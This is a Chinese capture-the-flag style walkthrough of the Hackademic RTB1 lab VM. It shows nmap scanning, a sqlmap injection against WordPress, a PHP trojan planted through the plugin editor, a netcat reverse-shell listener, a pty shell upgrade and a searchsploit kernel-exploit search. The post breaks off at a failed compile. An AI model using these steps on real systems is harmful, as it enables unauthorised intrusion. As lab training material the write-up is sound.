Hackademic: RTB1

2020-07-02 19:02:47 作者：互联网

(Size: 838 MB)

nmap -sP 10.101.27.1/24

靶机IP：10.101.27.133（DHCP）

Kali IP：10.101.27.130

nmap -sV -p1-65535 10.101.27.133

开启了22端口（ssh）和80端口（http）,查看80端口的web服务

点击进入Hackademic_RTB1下，扫描该目标录下的文件发现是一个wordpress搭建的站点，同时发现存在sql注入

直接sqlmap

sqlmap -u "http://10.101.27.133/Hackademic_RTB1/?cat=1" --dbs --batch --dumps

wordpress后台登录密码，登录GeorgeMiller账号

登录后台之后，发现在插件部分可以对php代码进行编辑，于是乎尝试在其中写入木马（ps:由于重新加载了次虚拟机，所以IP后台分配的为134了）

同时可以得知插件保存的路径为：wp-content/plugins

在Kali开启446端口监听：

nc -nvlp 446

访问：

http://10.101.27.134/Hackademic_RTB1/wp-content/plugins/hello.php

成功反弹shell

使用python切换shell

python -c 'import pty;pty.spawn("/bin/bash")'

查看当前用户为apache，因此需要提升权限为root用户，通过uname -a查看linux内核版本

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

通过searchsploit工具来查找可利用的exp，kali 自带本地版本的 Exploit-DB 库，包含了各种 exp 和代码

searchsploit 是一个用于Exploit-DB的命令行搜索工具，它还允许你随身带一份Exploit-DB的副本

// 搜索本地提权漏洞（Local Privilege Escalation）
searchsploit Local Privilege Escalation | grep -i linux | grep -i kernel | grep 2.6.31

定位exp位置为：/usr/share/exploitdb/exploits/linux/local/40812.c

locate exploits/linux/local/80812.c

然后将exp上传到靶机上面，但是这里卡了，发现没有新建文件的权限，从参考链接得知/tmp目录可以新建文件，于是上传至/tmp目录下面

然后再有一个坑就是，所找到的这个exp编译并不通过，缺少头文件.......................，参考链接中使用的是exp是15285，嗨

标签：Hackademic,shell,http,10.101,exp,RTB1
来源： https://www.cnblogs.com/CH42e/p/13226466.html